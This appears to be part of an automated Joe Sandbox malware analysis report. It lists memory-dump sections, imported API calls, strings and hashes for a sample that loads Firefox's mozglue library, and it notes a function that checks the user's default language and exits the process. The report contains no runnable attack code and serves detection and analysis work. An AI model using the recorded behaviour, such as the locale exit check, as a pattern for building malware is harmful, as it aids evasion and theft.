Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: 98a6f22ee45e1df76bff9997dcceb09826ea4dfe6b94e53d798b2e3eb25076fe
Instruction ID: 7788e658e10cfcb9d85418a407b6c74047252d68156318c7c2685fa21a928de3
Opcode Fuzzy Hash: 98a6f22ee45e1df76bff9997dcceb09826ea4dfe6b94e53d798b2e3eb25076fe
Instruction Fuzzy Hash: FA7188B6D10208ABCB54FBE0DC89FEE737AAB48300F00859DF60597281DA74DB45CB95

Function 6C6BAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C6BAC52
CreateFileMappingW.KERNEL32 ref: 6C6BAC7D
GetSystemInfo.KERNEL32 ref: 6C6BAC98
MapViewOfFile.KERNEL32 ref: 6C6BACB0
GetSystemInfo.KERNEL32 ref: 6C6BACCD
MapViewOfFile.KERNEL32 ref: 6C6BAD05
UnmapViewOfFile.KERNEL32 ref: 6C6BAD1C
CloseHandle.KERNEL32 ref: 6C6BAD28
UnmapViewOfFile.KERNEL32 ref: 6C6BAD37
CloseHandle.KERNEL32 ref: 6C6BAD43
CloseHandle.KERNEL32 ref: 6C6BAD67

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction ID: 1d55252a4fddc2fce995aea856eb7163ac88f37b0f772768b4ec13c3e935887d
Opcode Fuzzy Hash: 59696297686353adecd41f422a9d48b54b654ba51719b09777c39cf6cc7fa849
Instruction Fuzzy Hash: A53190B1A043058FDB00AF7EC68826EBBF0FF85345F014A2DE98597215EB70A559CB86

Function 6C6A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6A8273), ref: 6C6A9D65
free.MOZGLUE(6C6A8273,?), ref: 6C6A9D7C
free.MOZGLUE(?,?), ref: 6C6A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A9E0F
free.MOZGLUE(6C6A946B,?,?), ref: 6C6A9E24
free.MOZGLUE(?,?,?), ref: 6C6A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6A9EC8
free.MOZGLUE(6C6A946B,?,?,?), ref: 6C6A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C6A9EF5

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction ID: fa545ec4329949322bd680fc9968324518d816ccd6c396595b76251b73b351ee
Opcode Fuzzy Hash: 67e78d3d9d097ad1ca04e265dc7055d3ed7003f3399f77049d326915d4b2b0a6
Instruction Fuzzy Hash: 2F71DF70909B418BC712CF68C48055BF3F4FF99318B508A5DE84A5BB02EB31E8C6CB99

Function 6C6ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C6ADDCF

Part of subcall function 6C68FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C68FA4B

Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A90FF
Part of subcall function 6C6A90E0: free.MOZGLUE(?,00000000,?,?,6C6ADEDB), ref: 6C6A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE0D
free.MOZGLUE(00000000), ref: 6C6ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF32

Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADB86
Part of subcall function 6C6ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C6ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C69DEFD,?,6C664A68), ref: 6C6ADF65
free.MOZGLUE(?), ref: 6C6ADF80

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction ID: 0ac89ea29ca3db6d5035dcbc7cb8b3ff9466a922f856cee50f87de06b4473153
Opcode Fuzzy Hash: f2df092d95e260577296db0a3cdb9637e2423cfc3afd14f3979aa36c4edf8aea
Instruction Fuzzy Hash: 4551A1726016019BD7219BA9C8806EFB3B2BF96308F95051CDD5A53B00DB31BD1BCB9E

Function 6C6B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5DC9
std::_Facet_Register.LIBCPMT ref: 6C6B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C6B5C8C,?,6C68E829), ref: 6C6B5E45

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction ID: d43d3134bb9ef4e9c4d1c2bb39eb2cd6776b1883bcd6658d4225881a6cacb5f0
Opcode Fuzzy Hash: a80a0959d70ab1053441ad2f8ba8cc8c8cc49a7b861ba633720c44f9999ff0e3
Instruction Fuzzy Hash: 08417C307002049FDB10DFA6C8D8AAE77F6EF89314F144169E506AB791EB30A915CB69

Function 6C68CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C6531A7), ref: 6C68CDDD

Strings

<jemalloc>, xrefs: 6C68CF9F, 6C68CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C68CFA4, 6C68CFB8

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction ID: 8d2d31da99423ca1da97be1f51af25de81625c11ea9824aa909d2306d991b280
Opcode Fuzzy Hash: 9f8f935de94653ac65db46b0c6f2766408528d0946ca29d98d5c39011b3dcb21
Instruction Fuzzy Hash: 7131A7307422056BFB10AF668C45BAE7775BF85754F204118F612EB684DB70E501CBBD

Function 6C65ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C65F100: LoadLibraryW.KERNEL32(shell32,?,6C6CD020), ref: 6C65F122
Part of subcall function 6C65F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C65F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C65ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C65EDCC
CreateFileW.KERNEL32 ref: 6C65EE08
free.MOZGLUE(00000000), ref: 6C65EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C65EE32

Part of subcall function 6C65EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C65EBB5
Part of subcall function 6C65EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C68D7F3), ref: 6C65EBC3
Part of subcall function 6C65EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C68D7F3), ref: 6C65EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C65EDC1

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction ID: 58349f6a09830bb8ba9f10bcb68811798057119605d22f8757a79b57b5dcc24a
Opcode Fuzzy Hash: aff3e682c30c1d894395bd1230d8b7f2f94c1da813581de920205db56cd4430b
Instruction Fuzzy Hash: F251F171E052048BDF00DF69C8806EEB7F0AF4A318F94852DE8956B740E7346959C7EA

Function 6C6CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA565

Part of subcall function 6C6CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CA4BE
Part of subcall function 6C6CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C6CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C6CA6B6

Strings

z, xrefs: 6C6CA6AE
0, xrefs: 6C6CA5FB

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction ID: 04f669c28a7bbff4618a294ce90f01ccbc11bc35cfc35bd6eeabef394af0ac6b
Opcode Fuzzy Hash: 712dce064de4174f7be760f1de679cf96d388de0a395e03b1cfbcc39e6cfbc89
Instruction Fuzzy Hash: 75414771A097459FC341CF29C080A8BBBE4FF8A344F408A2EF49987651EB30D549CB87

Function 6C699420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
__Init_thread_footer.LIBCMT ref: 6C69949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C69946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C69947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C699459

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction ID: aa2c4d1473f1cb2f1ae45731b97a48eff6bf2a21c92b5f4b9591bb7a0ffbe7d0
Opcode Fuzzy Hash: 1975ebd18fdda91212e2c2a4ae65ce86654b8f1e754ebe6337f32358a6cf2a89
Instruction Fuzzy Hash: C5012830A001028BD7109B5ED840A8D33B99F06B3DF054537DD0AC6B52D623F4648D5F

Function 006D6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 006D6774
ExitProcess.KERNEL32 ref: 006D67A5
ExitProcess.KERNEL32 ref: 006D67AF
ExitProcess.KERNEL32 ref: 006D67B9
ExitProcess.KERNEL32 ref: 006D67C3
ExitProcess.KERNEL32 ref: 006D67CD

Strings

*, xrefs: 006D678C

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 9389ac39e65c0656a2ca351ac23ff9ddd38f40c6556ac892c429900a4d127c6d
Instruction ID: 6995e4d75ad74de7c67963fe55144672c1ba0b1f1f17b8a357c5192b1b957424
Opcode Fuzzy Hash: 9389ac39e65c0656a2ca351ac23ff9ddd38f40c6556ac892c429900a4d127c6d
Instruction Fuzzy Hash: 97F05830D28309EFD344AFE0E909B6CBB70FB04703F048199F60986391EA704B41ABD6

Function 6C6CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C6CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C6CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C6CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C6CB5F4
__Init_thread_footer.LIBCMT ref: 6C6CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C6CB61F
std::_Facet_Register.LIBCPMT ref: 6C6CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6CB655

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction ID: 70af877dea57f0e7fc2c37128b4d8ba1b432833bcab7c8e056cdc96acfe85fe5
Opcode Fuzzy Hash: 3c1a17819dfe9a350094352700d341752c2ca1ac99d6397397ee31cc8f07406e
Instruction Fuzzy Hash: FB316F71B002058BCB00DFAAC8989AEB7F5EFCA325F150519D90697780DB31B906CF9E

Function 6C68D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C65EB57,?,?,?,?,?,?,?,?,?), ref: 6C68D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C65EB57,?), ref: 6C68D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C65EB57,?), ref: 6C68D673
free.MOZGLUE(?), ref: 6C68D888

Strings

|Enabled, xrefs: 6C68D81E
Wel, xrefs: 6C68D5D9, 6C68D63F

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: Wel$|Enabled
API String ID: 4142949111-1036103015
Opcode ID: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction ID: 73895f8debc637035f6ab12ae7658e5f5767ac23accadb84eb3d4b2661b4f139
Opcode Fuzzy Hash: dd42113ae65c5df3a0ce37b97dceeea840c04748c57847a24978f9c8794ba008
Instruction Fuzzy Hash: 14A1F2B0A012499FDF10CF69C4907EEBBF1AF4A318F58805ED885AB741C734A845CBB9

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
